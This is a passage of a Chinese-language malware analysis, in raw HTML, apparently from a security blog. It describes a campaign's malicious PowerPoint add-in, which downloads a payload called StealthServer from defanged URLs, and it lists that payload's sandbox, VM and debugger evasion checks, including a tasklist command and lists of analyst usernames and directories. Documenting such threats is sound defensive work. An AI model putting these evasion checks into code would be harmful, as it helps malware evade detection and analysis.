Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">（2）相似的垃圾代码机制，除了在样本开头放置大量垃圾代码以外，还会在关键代码的上下文插入垃圾代码，且某些垃圾函数使用了相同的代码实现，比如无意义的循环计算、无意义的加密解密算法等，如下所示是一个无意义的斐波那契序列实现。</span></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><img alt="junk_code.jpg" class="rich_pages wxw-img" data-imgfileid="100000483" data-ratio="0.5472222222222223" data-w="1080" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=de52c2a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKKj4woUvxISoQss68ylVW59SjSnTtGvJ3377WDoxicSErHpSsBWcNPZg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">Windows-V1: TCP</span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;"># Loader</span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">Windows 变种的第一个版本出现在七月份，入口文件是一个名为 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“PM &amp; Est Sanction Final 2025.ppam”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""> 的 PPT 文档，这个文档内含一段恶意宏脚本，可以用 oledump 工具提取出来，如下图所示。当用户设置允许 Office 文档的宏代码执行时，会自动执行下述宏代码，整个运行过程涉及两个 URL，其中第一个</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://filestore[.]space/SoftsCompany/d/11/MES-Presentation" target="_blank">https://filestore[.]space/SoftsCompany/d/11/MES-Presentation</a></span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">是用于误导用户的 ppt，第二个</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://filestore[.]space/SoftsCompany/d/14/nodejs" target="_blank">https://filestore[.]space/SoftsCompany/d/14/nodejs</a></span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">是恶意载荷 StealthServer。</span></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><img alt="Macro.jpg" class="rich_pages wxw-img" data-imgfileid="100000484" data-ratio="0.6406685236768802" data-w="1077" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=48acf16b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKMWB6OYExZeVNPvg8HVAqbKDoe86LJ3ZHhI76n8RHNBzCaHXt2UDtsw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;"># StealthServer</span></span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-weight: bold;">1. 分析对抗</span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">除了使用大量垃圾代码之外，StealthServer 还使用了较多手段来对抗分析，以及设置持久化驻留。</span></span></span></p><p style="text-align: left;"><span leaf="" style="background-color: rgb(255, 255, 255);color: rgb(21, 23, 26);font-size: 15px;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: normal;font-style: normal;font-weight: 400;">（1）反调试、反沙箱</span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">① 执行命令</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">tasklist /fi &#34;imagename eq %s*&#34; | find /i &#34;%s&#34;</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">检测是否存在下述沙箱和虚拟机相关字符串的进程。</span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">VMware</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">VirtualBox</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">VBOX</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">QEMU</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">Xen</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">Hyper-V</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">Parallels</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">KVM</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">Virtual</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">VM</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">vbox</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">vmware</span></span></code></pre><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">② 调用 IsDebuggerPresent() 函数判断是否处于调试状态。</span></span><span leaf=""><br/></span><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">③ 获取 PEBDebugFlag 来判断是否处于调试状态。</span></span><span leaf=""><br/></span><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">④ 判断下述目录是否存在，如果存在则认为处于分析环境。</span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">C:\\analysis</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">C:\\sandbox</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">C:\\malware</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">C:\\sample</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">C:\\virus</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">C:\\quarantine</span></span></code></pre><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">⑤ 判断当前用户名是否是下述列表中之一，如果符合则则认为处于分析环境。</span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">admin</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">administrator</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">sandbox</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">malware</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">virus</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">user</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">test</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">analyst</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">john</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">jane</span></span></code></pre><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 15px;">（2）干扰流量</span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: 